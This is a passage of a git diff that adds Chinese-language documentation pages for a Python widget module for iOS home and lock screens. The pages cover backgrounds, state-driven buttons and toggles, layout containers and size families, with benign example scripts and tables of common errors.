+    w.text("今日步数", size=14, color="secondary")
+    .line_limit(1)
+    .privacy_sensitive()
+)
+(
+    w.value(steps, unit="步")
+    .monospaced_digit()
+    .line_limit(1)
+    .min_scale(0.72)
+    .privacy_sensitive()
+    .redacted("placeholder")
+)
+w.text("锁屏显示占位,解锁后见完整数字", size=11, color="secondary").line_limit(1)
+w.render()
+
+
  • .privacy_sensitive():标记敏感内容。
  • .redacted("placeholder"):锁屏显示系统占位样式。
+
+

#透明背景

+

请求透明需同时声明容器可移除与透明开关;桌面是否真透明取决于宿主与系统。

+
+
+ python +
+
+
w = widget.Widget(padding=12)
+w.transparent_background(True)
+w.container_background("clear", removable=True)
+w.content_margins(False)
+w.text("透明卡片", size=15, weight="semibold").accentable(True)
+w.render()
+
+

不要在透明卡片上再叠不透明全屏 Widget(background=...),否则透明意图会被盖住。

+
+

#API 参考

+

#背景与容器

+
+
+ python +
+
+
# 纯色 / 双色 / 渐变
+w = widget.Widget(background="#FFFFFF")
+w = widget.Widget(background=("#F8FAFC", "#0F172A"))
+w = widget.Widget(background={"gradient": ["#3B82F6", "#8B5CF6"], "direction": "horizontal"})
+
+w.background(("#FAFAFA", "#18181B"))          # 运行时改根背景
+w.container_background(bg, removable=True)   # 系统容器底
+w.transparent_background(True)               # 请求透明
+w.content_margins(False)                       # 边到边
+
+w.background_image(
+    ("day.jpg", "night.jpg"),
+    content_mode="fill",
+    scrim="bottom",
+    scrim_opacity=0.45,
+    focal="center",
+)
+
+

#图标与图片

+
+
+ python +
+
+
w.symbol("star.fill", scale="large").color("#F59E0B")
+w.symbol("paintpalette.fill", rendering="palette", palette=["#EF4444", "#3B82F6"])
+
+w.svg("assets/logo.svg", width=24, height=24, color="#111827")
+w.image("cover.jpg", width=60, height=60, corner_radius=8)
+w.image(light="avatar-light.png", dark="avatar-dark.png", rendering_mode="accented")
+
+

#外观修饰符

+
+
+ python +
+
+
w.text("标题").accentable(False)
+w.symbol("bell.fill").accentable(True)
+w.text("余额").privacy_sensitive().redacted("placeholder")
+
+

#运行时保存图片

+
+
+ python +
+
+
# 脚本中下载或生成后注册,供 w.image / background_image 按名称引用
+path = widget.save_image("https://example.com/pic.png", "cover")
+w.image("cover", width=80, height=80)
+
+

完整签名见 API 参考container_backgroundbackground_imagetransparent_backgroundsymbolsvgimage.accentable.privacy_sensitive.redacted

+
+

#常见错误

+
错误写法后果修正
染色模式下标题变色未关闭 accentable设计色文案 .accentable(False)
图标不跟系统色写了 .accentable(False)应用染色的图标 .accentable(True)
深色模式图片发灰只有浅色图background_image((light, dark))image(light=, dark=)
透明不生效只设了 Widget 底色transparent_background + container_background(removable=True)
SVG 空白路径错或预览无文件assets/ 或用 param.file 重选
背景图字看不清无遮罩scrim="bottom" + scrim_opacity
用手写 rect 模拟系统底与 WidgetKit 策略冲突container_background / transparent_background
w.symbol(..., color=, size=)TypeErrorw.symbol("name").color(c).font_size(n)
+
+

#失败路径

+
现象处理
预览浅色正常、深色异常检查 (light, dark) 是否成对提供
Tinted 模式颜色全乱梳理每个节点的 accentable 默认值与显式设置
图片不显示路径、extensions、是否已 save_image 注册
SVG 构建报错确认是图标级 SVG(viewBox + path);复杂 SVG 可能需简化
锁屏数字太清晰.privacy_sensitive() + .redacted("placeholder")
透明在桌面无效系统/宿主限制;回退半透明双色背景
预览与桌面不一致重新发布;查 排错
+
+

#相关文档

+
文档用途
widget 概览总览
参数面板param.color / param.file
布局与尺寸图标尺寸、family_value
时间线和动画numericText 与隐私数字叠加
排错预览/桌面外观不一致
API 参考完整签名
+

相关 API:widget-api-reference.md

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/widget-interaction/index.html b/docs/docs/pages/widget-interaction/index.html new file mode 100644 index 0000000..0a86b0f --- /dev/null +++ b/docs/docs/pages/widget-interaction/index.html @@ -0,0 +1,481 @@ + + + + + + widget 状态和交互 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

widget 状态和交互

+

widget.state、按钮 ±、习惯清单、开关与链接;AppIntent 桌面交互。

+
+ +
+

桌面小组件不执行任意 Python 回调。按钮、开关、列表勾选只能触发受控 AppIntent:改写 widget.state、刷新时间线,或打开链接。

+
边界:本篇讲桌面点击widget.state。预览面板里的配色、标题默认值用 widget.param,不要混用。
+

#本篇目标

+
说明
何时用计数器、完成开关、习惯勾选、打开网页/深链
核心 APIwidget.state.*.increment() / .toggle() / .toggle_item()
节点w.button(..., action=)w.toggle(..., state=)w.link(...)
限制action= 必须来自 state 工厂;不能传 Python 函数
发布后改 state key 需重新发布;桌面可能需删组件重装
+
+

#快速开始

+

单按钮累加 + 数字过渡:比 概览 · 饮水打卡 的 ± 环图更简单,专讲 actionnumericText

+

预期效果:小组件预览面板显示与脚本一致的布局与交互。

+
+
+ python +
+
+
import widget
+
+streak = widget.state.int("streak", 0)
+accent = widget.param.color("主色", "#2563EB")
+
+w = widget.Widget(background=("#FFFFFF", "#0F172A"), padding=14)
+w.text("连续签到", size=16, weight="semibold").line_limit(1)
+(
+    w.value(streak, unit="天")
+    .id("streak")
+    .content_transition("numericText")
+    .monospaced_digit()
+    .line_limit(1)
+    .min_scale(0.72)
+)
+(
+    w.button("签到", action=streak.increment(), background=accent, color="#FFFFFF")
+    .line_limit(1)
+    .min_scale(0.72)
+    .pressed(scale=0.94)
+)
+w.render()
+
+

要点:

+
  • streak.increment() 返回 AppIntent,赋给 action=不能写字符串或 Python 函数。
  • .content_transition("numericText") + .id(...):数字变化时系统过渡动画。
  • .pressed(scale=0.94) 等价于 button(..., press={"scale": 0.94})
  • widget.param.color 只调配色,不改桌面计数值。
+
+

#交互示例

+

#习惯清单(state.list + toggle_item

+

多项勾选用 widget.state.list;每项 done.toggle_item(i) 切换是否在列表里。

+

预期效果:小组件预览面板显示与脚本一致的布局与交互。

+
+
+ python +
+
+
import widget
+
+habits = ["晨跑", "喝水 8 杯", "阅读 30 分", "整理桌面"]
+done = widget.state.list("habits_done", [])
+accent = widget.param.color("完成色", "#22C55E")
+
+w = widget.Widget(background=("#FAFAFA", "#1C1C1E"), padding=14)
+w.text("今日习惯", size=16, weight="semibold").line_limit(1)
+for i, label in enumerate(habits):
+    checked = done.contains(i)
+    mark = "✓ " if checked else "○ "
+    (
+        w.button(
+            mark + label,
+            action=done.toggle_item(i),
+            style="plain",
+            color=accent if checked else "secondary",
+            size=13,
+        )
+        .line_limit(1)
+        .min_scale(0.72)
+    )
+w.render()
+
+
  • done.contains(i):预览/桌面判断第 i 项是否已勾选;toggle_item(i)i 类型须与 contains 一致。
  • 多项也可用多个 w.toggle(..., state=);长清单用 state.list 更省节点。
  • 九宫格、Bingo 等表格布局见 布局与尺寸table() 示例。
+

#开关(state.bool + w.toggle

+

布尔状态用 state= 绑定,不要手写静态 True/False 配假 action。

+

预期效果:小组件预览面板显示与脚本一致的布局与交互。

+
+
+ python +
+
+
import widget
+
+alarm_on = widget.state.bool("alarm_on", False)
+accent = widget.param.color("开启色", "#F59E0B")
+
+w = widget.Widget(background=("#FFFBEB", "#292524"), padding=14)
+w.text("早起闹钟", size=16, weight="semibold").line_limit(1)
+w.toggle("明早 7:00", state=alarm_on, color=accent, style="switch")
+# 脚本每次重建时读取 state 当前值(非 AppUI 式实时绑定)
+status = "已开启,记得早睡" if alarm_on else "已关闭"
+w.text(status, size=13, color=accent if alarm_on else "secondary").line_limit(1).min_scale(0.72)
+w.render()
+
+
  • w.toggle(..., color=accent):着色用 color=没有 tint= 参数。
  • style="switch" / "checkbox" 控制外观;与 state= 搭配最省事。
+ +

链接打开 URL;与按钮/开关不要叠在同一块可点区域

+

预期效果:小组件预览面板显示与脚本一致的布局与交互。

+
+
+ python +
+
+
import widget
+
+label = widget.param.text("链接标题", "Apple 官网")
+accent = widget.param.color("链接色", "#2563EB")
+
+w = widget.Widget(background=("#FFFFFF", "#111827"), padding=14)
+w.text("快捷入口", size=16, weight="semibold").line_limit(1)
+w.link(label, "https://www.apple.com", icon="safari.fill", color=accent)
+w.text("点击在 Safari 打开", size=12, color="secondary").line_limit(1).min_scale(0.72)
+w.render()
+
+
  • 第一参数是显示标题,第二参数是 URL 字符串。
  • 可选 icon= 在标题旁显示 SF Symbol。
  • icon= 时返回行容器,不能链 .line_limit();无 icon 时返回 text 句柄才可链修饰符。
  • 整块链接与局部 button 分清层级;同一容器不要既当链接又塞按钮。
+
+

#心智模型

+
+
+ text +
+
+
widget.state.int/bool/list/...   ← 桌面持久化
+        ↓
+.increment() / .toggle() / .toggle_item(i)   ← AppIntent 工厂
+        ↓
+w.button(..., action=...)  或  w.toggle(..., state=...)
+        ↓
+用户点击 → 扩展执行 Intent → 状态改写 → WidgetKit 刷新时间线
+
+
  1. 先声明 state:在 Widget() 构建前,与 widget.param 同级。
  2. action 只接工厂方法count.increment()done.toggle()items.toggle_item(2)
  3. 开关优先 state=w.toggle("标题", state=done),让运行时自动绑 done.toggle()
  4. 链接不走 statew.link(title, url) 直接打开;深链同样写 URL 字符串。
  5. 改 key 要重发"score" 改成 "points" 后,旧桌面实例可能仍读写 "score"
+

#widget.param 怎么分

+
widget.paramwidget.state
谁改预览面板 / Studio桌面点击
典型主题色、默认标题计数、开关、清单勾选
传给 UIcolor=background=value / state= + action
+
+

#API 参考

+

#状态类型

+
API适合常用动作
widget.state.int(key, default)次数、步数、分数.increment(by=1).decrement(by=1).set(n)
widget.state.float(key, default)进度、比例同上
widget.state.bool(key, default)完成、开启.toggle();配合 w.toggle(..., state=)
widget.state.str(key, default)当前模式、选中项.set("模式A")
widget.state.list(key, default)多选清单、Bingo.toggle_item(item).contains(item).set([])
+

key 是持久化 ID;改名等同新状态,需重新发布。

+

#交互节点

+
+
+ python +
+
+
count = widget.state.int("count", 0)
+done = widget.state.bool("done", False)
+items = widget.state.list("picked", [])
+
+w.button("加 1", action=count.increment())
+w.button("减 2", action=count.decrement(by=2))
+w.button("归零", action=count.set(0), style="plain")
+w.toggle("完成", state=done, color="#22C55E")
+w.button("选 A", action=items.toggle_item("A"), style="plain")
+w.link("文档", "https://example.com", icon="book.fill")
+
+

#动效修饰(可选)

+
+
+ python +
+
+
w.button("+", action=count.increment()).pressed(scale=0.94)
+w.value(count).content_transition("numericText").monospaced_digit()
+
+

数字变化动画见 时间线和动画;完整签名见 API 参考

+
+

#常见错误

+
错误写法后果修正
action="increment" 或 Python 函数点击无反应count.increment() 等工厂
w.toggle(..., tint=accent)TypeErrorcolor=accent
静态 True + 手写 toggle action开关不保存w.toggle(..., state=done)
widget.param.bool 当桌面开关只在预览里变交互用 widget.state.bool
链接容器里再塞 button点击区域冲突链接、按钮分块布局
改 state key 不重发计数错乱或归零重新发布;删桌面组件重装
+
+

#失败路径

+
现象处理
按钮点击没反应确认 action 来自 widget.state 工厂方法
Toggle 显示但不记忆改用 state=,勿拼静态布尔
清单勾选无效toggle_item 的参数类型与 contains 一致(都用 int 或都用 str
链接打不开检查 URL 含 https://;勿与按钮叠层
点击后桌面仍旧AppIntent 已执行但 WidgetKit 缓存 → 重新运行发布;删组件重装
预览能点、桌面不能确认已走 从脚本到桌面 发布流程
+
+

#相关文档

+
文档用途
widget 概览总览与入门示例
参数面板widget.param 与 state 区分
从脚本到桌面发布后在桌面验证交互
布局与尺寸table() 九宫格、row() 横排
时间线和动画content_transition、数字过渡
排错预览/桌面不一致
API 参考widget.statebuttontogglelink 签名
+

相关 API:widget-api-reference.md

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/widget-layout/index.html b/docs/docs/pages/widget-layout/index.html new file mode 100644 index 0000000..d25e521 --- /dev/null +++ b/docs/docs/pages/widget-layout/index.html @@ -0,0 +1,647 @@ + + + + + + widget 布局与尺寸 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

widget 布局与尺寸

+

row/column/grid/table/canvas、family 预算、when/unless 与锁屏 accessory。

+
+ +
+

小组件布局以 WidgetKit family 为边界:先定目标尺寸与信息密度,再选容器;不要把 large 的内容硬塞进 small。

+
边界:本篇讲 row/column/grid/table/canvaswidget.context 与防裁切。桌面点击与 widget.state状态和交互;参数面板见 参数面板
+

#本篇目标

+
说明
核心原则按 family 设计,不是把同一套 UI 整体缩小
容器row() / column() / grid() / table() / canvas() / layer()
尺寸 APIwidget.contextwidget.family_value()w.when() / w.unless()
主屏small / medium / large(158²、338×158、338×354 内容区)
锁屏circular / rectangular / inline — 极简,节点数严格受限
收尾可变文案加 .line_limit(1).min_scale(0.65+)
+
+

#快速开始

+

row() 横排三列指标,column() 在每列里纵向叠标题与数值——适合仪表盘,比单列更省高度。

+

预期效果:小组件预览面板显示与脚本一致的布局与交互。

+
+
+ python +
+
+
import widget
+
+steps = widget.param.number("步数", 8420, min=0, max=50000)
+calories = widget.param.number("千卡", 420, min=0, max=5000)
+sleep_h = widget.param.number("睡眠(h)", 7, min=0, max=12)
+accent = widget.param.color("主色", "#10B981")
+
+w = widget.Widget(background=("#ECFDF5", "#064E3B"), padding=14)
+w.text("今日健康", size=16, weight="semibold").line_limit(1)
+with w.row(spacing=12):
+    with w.column(spacing=2):
+        w.text("步数", size=11, color="secondary").line_limit(1)
+        w.value(steps).monospaced_digit().line_limit(1).min_scale(0.72)
+    with w.column(spacing=2):
+        w.text("千卡", size=11, color="secondary").line_limit(1)
+        w.value(calories).monospaced_digit().line_limit(1).min_scale(0.72)
+    with w.column(spacing=2):
+        w.text("睡眠", size=11, color="secondary").line_limit(1)
+        (
+            w.value(sleep_h, unit="h")
+            .monospaced_digit()
+            .line_limit(1)
+            .min_scale(0.72)
+        )
+w.rect(color=accent, height=3, corner_radius=2)
+w.render()
+
+

要点:

+
  • 容器必须用 with w.row(): / with w.column(): 上下文管理器,不要把子节点当位置参数传入。
  • spacing= 控制子项间距;align= 可选 leading / center / trailing
  • 预览右上角切换 family,确认三列在 small 仍可读。
+
+

#心智模型

+
+
+ text +
+
+
选定 family(small / medium / large / 锁屏 accessory)
+        ↓
+读 widget.context → content_width × content_height(扣掉 padding 后的可画区域)
+        ↓
+决定信息层级:标题 → 主值 → 次要说明 → 图表/表格
+        ↓
+选容器:语义流式用 row/column/grid;精确格子用 table;点位绘制用 canvas
+        ↓
+防裁切:line_limit + min_scale;small 隐藏次要行
+
+

#内容区预算(点)

+

以下为默认 padding 下的内容区宽高,脚本里用 widget.contextw.context 读取(属性,不可调用;不要写 widget.context()):

+
Family约 content 宽 × 高设计建议
small158 × 158标题 + 1 主值 + 1 视觉元素
medium338 × 158默认主力版;可横排 2–3 列
large338 × 354可加第二段:图表、表格、说明行
circular64 × 64SF Symbol + 极短数字/缩写
rectangular160 × 56一行或图标+一行字
inline220 × 22单行文字,无图表/表格
+

常量:widget.SMALLwidget.MEDIUMwidget.LARGEwidget.CIRCULARwidget.RECTANGULARwidget.INLINE

+

#容器怎么选

+
API底层适合
row(spacing=, align=)横向栈多指标横排、按钮组
column(spacing=, align=)纵向栈表单式上下结构
layer(align=)叠放背景块上叠文字/图标
grid(columns=, spacing=, equal=)等列网格周历、四宫格摘要
table(rows, columns)单路径表格线Bingo、日历格、精确分割线
canvas(fill=, coordinate_space=)点位坐标表盘、键盘、自定义图形
+

日常卡片优先 row / column;需要不重叠的细表格线table(),不要用多个 rect 拼边框(线宽会叠粗、交点发圆)。

+
+

#布局示例

+

#三尺寸信息密度(is_family 分支)

+

同一脚本为 small 只保留单号+状态,medium 加图标行,large 再补预计送达。

+

预期效果:小组件预览面板显示与脚本一致的布局与交互。

+
+
+ python +
+
+
import widget
+
+tracking = widget.param.text("单号", "SF1234567890")
+status = widget.param.text("状态", "运输中")
+eta = widget.param.text("预计", "明天 18:00")
+accent = widget.param.color("主色", "#F59E0B")
+ctx = widget.context
+pad = widget.family_value(14, small=10, large=16)
+
+w = widget.Widget(background=("#FFFBEB", "#292524"), padding=pad)
+
+if ctx.is_family("small"):
+    w.text("快递", size=14, weight="semibold", color=accent).line_limit(1)
+    w.text(tracking, size=12).line_limit(1).min_scale(0.6)
+    w.text(status, size=11, color="secondary").line_limit(1).min_scale(0.72)
+else:
+    w.text("快递追踪", size=16, weight="semibold").line_limit(1)
+    w.text(tracking, size=12, color="secondary").line_limit(1).min_scale(0.65)
+    with w.row(spacing=8):
+        w.symbol("shippingbox.fill").color(accent).font_size(16)
+        w.text(status, size=14, weight="semibold").line_limit(1).min_scale(0.72)
+    if ctx.is_family("large"):
+        w.text(f"预计送达 {eta}", size=12, color="secondary").line_limit(1)
+    else:
+        w.text(f"预计 {eta}", size=12, color="secondary").line_limit(1).min_scale(0.72)
+
+w.render()
+
+
  • ctx.is_family("small") 等价于 ctx.is_family(widget.SMALL)
  • 长单号在 small 必须 .min_scale(0.6) 或缩短显示字段。
+

#family_valuew.when("large")

+

只改字号/边距用 family_value整段 UI 仅 large 出现时用 w.when

+

预期效果:小组件预览面板显示与脚本一致的布局与交互。

+
+
+ python +
+
+
import widget
+
+show = widget.param.text("节目", "心灵马杀鸡")
+episode = widget.param.text("集数", "第 128 期")
+progress = widget.param.slider("进度", 0.42, min=0, max=1, step=0.01)
+accent = widget.param.color("主色", "#8B5CF6")
+
+title_size = widget.family_value(16, small=14, large=18)
+bar_h = widget.family_value(6, small=5, large=8)
+pad = widget.family_value(14, small=10, large=16)
+
+w = widget.Widget(background=("#FAF5FF", "#1E1B4B"), padding=pad)
+w.text(show, size=title_size, weight="semibold").line_limit(1).min_scale(0.72)
+w.text(episode, size=12, color="secondary").line_limit(1).min_scale(0.72)
+w.progress(float(progress), total=1, color=accent, height=bar_h)
+
+with w.when("large", layout="column"):
+    w.text("继续收听 →", size=12, color=accent).line_limit(1)
+
+w.render()
+
+
  • w.when("large", layout="column"):仅 large 渲染块内子节点;layout 还可为 "row" / "layer"
  • w.unless("small"):除 small 外都显示,适合「medium/large 才显示的脚注」。
+

#grid 周历打卡

+

grid(columns=7) 按子节点顺序从左到右、从上到下填格;equal=True 等宽列。

+

预期效果:小组件预览面板显示与脚本一致的布局与交互。

+
+
+ python +
+
+
import widget
+
+days = ["一", "二", "三", "四", "五", "六", "日"]
+plan = widget.param.choice("打卡计划", ["一三五", "天天练", "周末"], default="一三五")
+accent = widget.param.color("打卡色", "#EF4444")
+
+active_sets = {
+    "一三五": {0, 2, 4},
+    "天天练": set(range(7)),
+    "周末": {5, 6},
+}
+active = active_sets[str(plan)]
+
+w = widget.Widget(background=("#FFFFFF", "#1C1C1E"), padding=12)
+w.text("本周训练", size=15, weight="semibold").line_limit(1)
+with w.grid(columns=7, spacing=4, equal=True):
+    for i, day in enumerate(days):
+        mark = "●" if i in active else "○"
+        (
+            w.text(day + mark, size=10, color=accent if i in active else "secondary")
+            .line_limit(1)
+            .min_scale(0.55)
+            .align("center")
+        )
+w.render()
+
+

#table 九宫格(Bingo)

+

习惯打卡的纵向列表状态和交互;需要可见格线时用 table() + table.cell(row, col)

+

预期效果:小组件预览面板显示与脚本一致的布局与交互。

+
+
+ python +
+
+
import widget
+
+items = ["喝水", "散步", "整理", "阅读", "计划", "备份", "写作", "放松", "复盘"]
+done = widget.state.list("bingo_done", [])
+accent = widget.param.color("完成色", "#4F9A48")
+
+w = widget.Widget(background=("#FBFAF5", "#141414"), padding=10)
+w.text("今日九宫格", size=17, weight="bold").line_limit(1).min_scale(0.72).align("center")
+
+with w.table(rows=3, columns=3, line_color=accent, line_width="hairline", fill=True) as table:
+    for i, label in enumerate(items):
+        checked = done.contains(i)
+        with table.cell(i // 3, i % 3):
+            (
+                w.button(
+                    ("✓ " if checked else "") + label,
+                    action=done.toggle_item(i),
+                    style="plain",
+                    color=accent if checked else "#242326",
+                    size=12,
+                    press={"scale": 0.94},
+                    normal={"scale": 1},
+                )
+                .line_limit(1)
+                .min_scale(0.55)
+                .align("center")
+            )
+
+w.render()
+
+

表格线建议:

+
  • line_width="hairline":最细像素线。
  • line_cap="butt"line_join="miter":端点不圆、交点直角。
  • 格内文字 .min_scale(0.55),避免 small 格子裁切。
+

#canvas 读取可画区域

+

需要按点坐标摆放(表盘刻度、自定义键盘)时,先读 content_width / content_height,再 .place()

+

预期效果:小组件预览面板显示与脚本一致的布局与交互。

+
+
+ python +
+
+
import widget
+
+w = widget.Widget(background="#FFFFFF", padding=12)
+ctx = widget.context
+cw = ctx.content_width
+ch = ctx.content_height
+
+with w.canvas(fill=True, coordinate_space="points") as c:
+    c.rect(color="#EEF2F7", width=cw, height=ch).place(cw / 2, ch / 2, unit="points")
+    (
+        c.text(f"{int(cw)} × {int(ch)} pt", size=14, weight="semibold")
+        .line_limit(1)
+        .min_scale(0.72)
+        .place(cw / 2, ch / 2, unit="points")
+    )
+    (
+        c.text(ctx.family, size=11, color="secondary")
+        .line_limit(1)
+        .place(cw / 2, ch / 2 + 16, unit="points")
+    )
+
+w.render()
+
+
  • ctx.width / ctx.height 含 padding 前预算;摆放内容用 content_*
  • coordinate_space="points".place(x, y, unit="points") 以画布左上为原点。
+

#锁屏 accessory 精简版

+

锁屏圆形/矩形/行内节点上限低(见上表);按 family 分别写布局,不要复用 medium 整块 UI。

+

预期效果:小组件预览面板显示与脚本一致的布局与交互。

+
+
+ python +
+
+
import widget
+
+steps = widget.state.int("steps", 6234)
+accent = widget.param.color("主色", "#34D399")
+ctx = widget.context
+
+w = widget.Widget(background=("#F0FDF4", "#14532D"), padding=widget.family_value(8, circular=0, rectangular=4, inline=0))
+
+if ctx.is_family("circular"):
+    w.symbol("figure.walk").color(accent).font_size(14)
+    w.text(str(int(steps) // 1000) + "k", size=11, weight="bold").line_limit(1).min_scale(0.6)
+elif ctx.is_family("rectangular"):
+    with w.row(spacing=6):
+        w.symbol("figure.walk").color(accent).font_size(14)
+        (
+            w.value(steps, unit="步")
+            .monospaced_digit()
+            .line_limit(1)
+            .min_scale(0.65)
+        )
+elif ctx.is_family("inline"):
+    w.text(f"今日 {int(steps)} 步", size=12).line_limit(1).min_scale(0.72)
+else:
+    w.text("请切换到锁屏 accessory 预览", size=13, color="secondary").line_limit(2).min_scale(0.7)
+
+w.render()
+
+

预览里选 circular / rectangular / inline 查看效果;发布后在锁屏编辑界面单独添加(见 从脚本到桌面)。

+
+

#防裁切清单

+
手段用法
单行 + 缩放.line_limit(1).min_scale(0.65)(small 可降到 0.55
等宽数字.monospaced_digit() 避免数字跳动挤版
按 family 藏行if not ctx.is_family("small"): w.text(...)
按 family 改字号widget.family_value(16, small=14, large=18)
按 family 改边距padding=widget.family_value(14, small=10, large=18)
large 填空白w.when("large") 增加图表、说明、第二表格
格内文字表格/Bingo .min_scale(0.55) + .align("center")
+
+

#API 参考

+

#widget.context

+
+
+ python +
+
+
ctx = widget.context          # 或 w.context(绑定 Widget padding)
+ctx.family                    # "small" | "medium" | "large" | ...
+ctx.width / ctx.height        # family 预算(点)
+ctx.content_width             # 扣 padding 后可画宽
+ctx.content_height            # 扣 padding 后可画高
+ctx.is_family("small", "medium")
+ctx.value(default, small=..., large=...)  # 同 family_value,读当前 family
+
+

#widget.family_value

+
+
+ python +
+
+
size = widget.family_value(16, small=14, medium=16, large=20)
+pad = widget.family_value(14, small=10, rectangular=6, circular=4, inline=0)
+
+

#容器上下文管理器

+
+
+ python +
+
+
with w.row(spacing=10, align="center"):
+    w.symbol("star.fill").color("#F59E0B")
+    w.text("标题")
+
+with w.column(spacing=4, align="leading"):
+    w.text("副标题", size=12, color="secondary")
+
+with w.layer(align="center", background="#EEF2F7", corner_radius=8):
+    w.text("叠放")
+
+with w.grid(columns=2, spacing=8, equal=True):
+    w.text("A")
+    w.text("B")
+
+with w.when("large", layout="column"):
+    w.line_chart([1, 3, 2, 5])
+
+

完整签名见 API 参考rowcolumngridtablecanvaswhenunlessfamily_value.place().align()

+
+

#常见错误

+
错误写法后果修正
w.row(w.text(...), spacing=8)子节点不进容器with w.row(): 块内添加
large 布局原样给 small文字裁切、按钮重叠is_family / family_value 分支
多个 rect 拼表格线线粗、交点圆w.table(...)
锁屏用 medium 整块 UI构建警告或裁切circular/rectangular/inline 单独写
canvas 用 width 当边界内容溢出 paddingcontent_width / content_height
忘记 line_limit多行撑破高度可变文案 .line_limit(1).min_scale(...)
grid 子节点过多挤到下一行难控控制列数与单元内容极简
widget.context() / w.context()TypeError: not callablectx = widget.contextw.context
+

#按钮按压样式

+

press={"scale": 0.94} 写在 w.button(...) 参数里;.pressed(scale=0.94) 是链式修饰符,二者等价。交互示例见 状态和交互

+
+

#失败路径

+
现象处理
small 文字被裁切减行数;min_scale 降到 0.55–0.65;隐藏次要 text
medium 正常、large 空w.when("large") 加图表/说明;勿只放大字号
表格线发粗/交点圆line_width="hairline"line_cap="butt"line_join="miter"
canvas 元素跑出边界改用 content_* 算坐标;fill=True 铺满可画区
锁屏 accessory 空白预览切换到 circular/rectangular/inline;检查是否走了 else 占位分支
row 里列挤成一团增大 spacing;减少列数;small 改单列 column
预览与桌面布局不一致两端的 family 要一致;查 排错
+
+

#相关文档

+
文档用途
widget 概览总览与入门
参数面板widget.param 与布局配色
状态和交互表格格内 toggle_item、按钮
从脚本到桌面锁屏 accessory 添加步骤
时间线和动画数字过渡、flip 动画
资源与外观背景、渐变、图片
排错裁切与预览不一致
API 参考布局节点完整签名
+

相关 API:widget-api-reference.md

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/widget-module/index.html b/docs/docs/pages/widget-module/index.html new file mode 100644 index 0000000..5d11cba --- /dev/null +++ b/docs/docs/pages/widget-module/index.html @@ -0,0 +1,462 @@ + + + + + + widget - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

widget

+

Python 编写 WidgetKit 小组件:参数、状态、布局与发布到桌面。

+
+ +
+

用 Python 描述主屏、锁屏与 StandBy 小组件;由 PythonIDE + WidgetKit 负责渲染、刷新与桌面交互。

+
边界widgetWidgetKit 时间线模型,不是普通 App 页面。不要用 appui 做小组件,不要用 scene 做 60fps 游戏画布。脚本只描述布局、参数、状态与时间线,结尾必须 w.render()
+

#模块概览

+
说明
导入import widget
适合做什么计数器、进度、图表卡片、锁屏 accessory、可点按钮/开关
入口w = widget.Widget(...) → 组合节点 → w.render()(只创建一个 Widget
可调参数widget.param.text/color/number/slider/bool/choice/file — 预览面板可编辑
桌面交互widget.state.int/bool/...count.increment()done.toggle() 等 action
尺寸适配widget.contextwidget.family_value(...) 按 small/medium/large 分支
发布Widget Studio 运行后发布;文档 previewWidget 仅预览 → 从脚本到桌面
+
+

#快速开始

+

运行下面脚本会打开小组件预览(非 AppUI 全屏)。用环形图展示饮水进度,+ / 在桌面改写杯数。

+

预期效果:小组件预览面板显示与脚本一致的布局与交互。

+
+
+ python +
+
+
import widget
+
+goal = widget.param.number("每日杯数", 8, min=1, max=12)
+glasses = widget.state.int("glasses", 0)
+accent = widget.param.color("主色", "#38BDF8")
+
+w = widget.Widget(background=("#F0F9FF", "#0C4A6E"), padding=14)
+w.text("饮水打卡", size=16, weight="semibold").line_limit(1).min_scale(0.72)
+w.ring_chart(
+    min(int(glasses), int(goal)),
+    total=int(goal),
+    label=f"{int(glasses)}/{int(goal)} 杯",
+    color=accent,
+)
+with w.row(spacing=10):
+    (
+        w.button("−", action=glasses.decrement(), style="plain")
+        .line_limit(1)
+        .min_scale(0.72)
+    )
+    (
+        w.button("+", action=glasses.increment(), background=accent, color="#FFFFFF")
+        .line_limit(1)
+        .min_scale(0.72)
+    )
+w.render()
+
+

要点:

+
  • widget.param.number(...):预览里可调每日目标杯数。
  • widget.state.int(...) + ring_chart(...):桌面点击后环与标签同步刷新。
  • with w.row(...):横排多个按钮,比纵向堆叠更省高度。
  • .line_limit(1).min_scale(...):防止 small/medium 文字被裁切。
+
+

#Widget 预览示例

+

#每日一言(参数 + 尺寸分支)

+

纯展示卡片:无 widget.state,演示 param.textsymbolfamily_value;small 隐藏出处行。

+

预期效果:小组件预览面板显示与脚本一致的布局与交互。

+
+
+ python +
+
+
import widget
+
+quote = widget.param.text("名言", "专注一件事,做到极致。")
+author = widget.param.text("出处", "— 佚名")
+ink = widget.param.color("文字色", "#E2E8F0")
+title_size = widget.family_value(17, small=15, large=20)
+body_size = widget.family_value(15, small=13, large=17)
+
+w = widget.Widget(background=("#0F172A", "#020617"), padding=16)
+with w.row(spacing=8):
+    w.symbol("quote.bubble.fill").color("#60A5FA").font_size(18)
+    w.text("每日一言", size=14, weight="semibold", color="secondary").line_limit(1)
+w.text(quote, size=body_size, color=ink).line_limit(3).min_scale(0.7)
+if not widget.context.is_family("small"):
+    w.text(author, size=12, color="secondary").line_limit(1).min_scale(0.72)
+w.render()
+
+

#本周专注(折线图)

+

静态数据折线 + 可调曲线色;适合仪表盘类小组件,不涉及桌面点击。

+

预期效果:小组件预览面板显示与脚本一致的布局与交互。

+
+
+ python +
+
+
import widget
+
+title = widget.param.text("标题", "本周专注")
+accent = widget.param.color("曲线色", "#6366F1")
+minutes = [25, 40, 15, 50, 30, 45, 20]
+chart_h = widget.family_value(48, small=36, large=56)
+
+w = widget.Widget(background=("#F5F3FF", "#1E1B4B"), padding=14)
+with w.row(spacing=8):
+    w.symbol("brain.head.profile").color(accent).font_size(18)
+    w.text(title, size=16, weight="semibold").line_limit(1).min_scale(0.72)
+w.line_chart(minutes, color=accent, height=chart_h, fill=True)
+if not widget.context.is_family("small"):
+    w.text("分钟 / 天(示例数据)", size=11, color="secondary").line_limit(1)
+w.render()
+
+
+

#心智模型

+
  1. 根容器w = widget.Widget(background=..., padding=..., style="clean") — 只管整体背景与边距。
  2. 内容节点textvaluesymbolimageprogressline_chart 等。
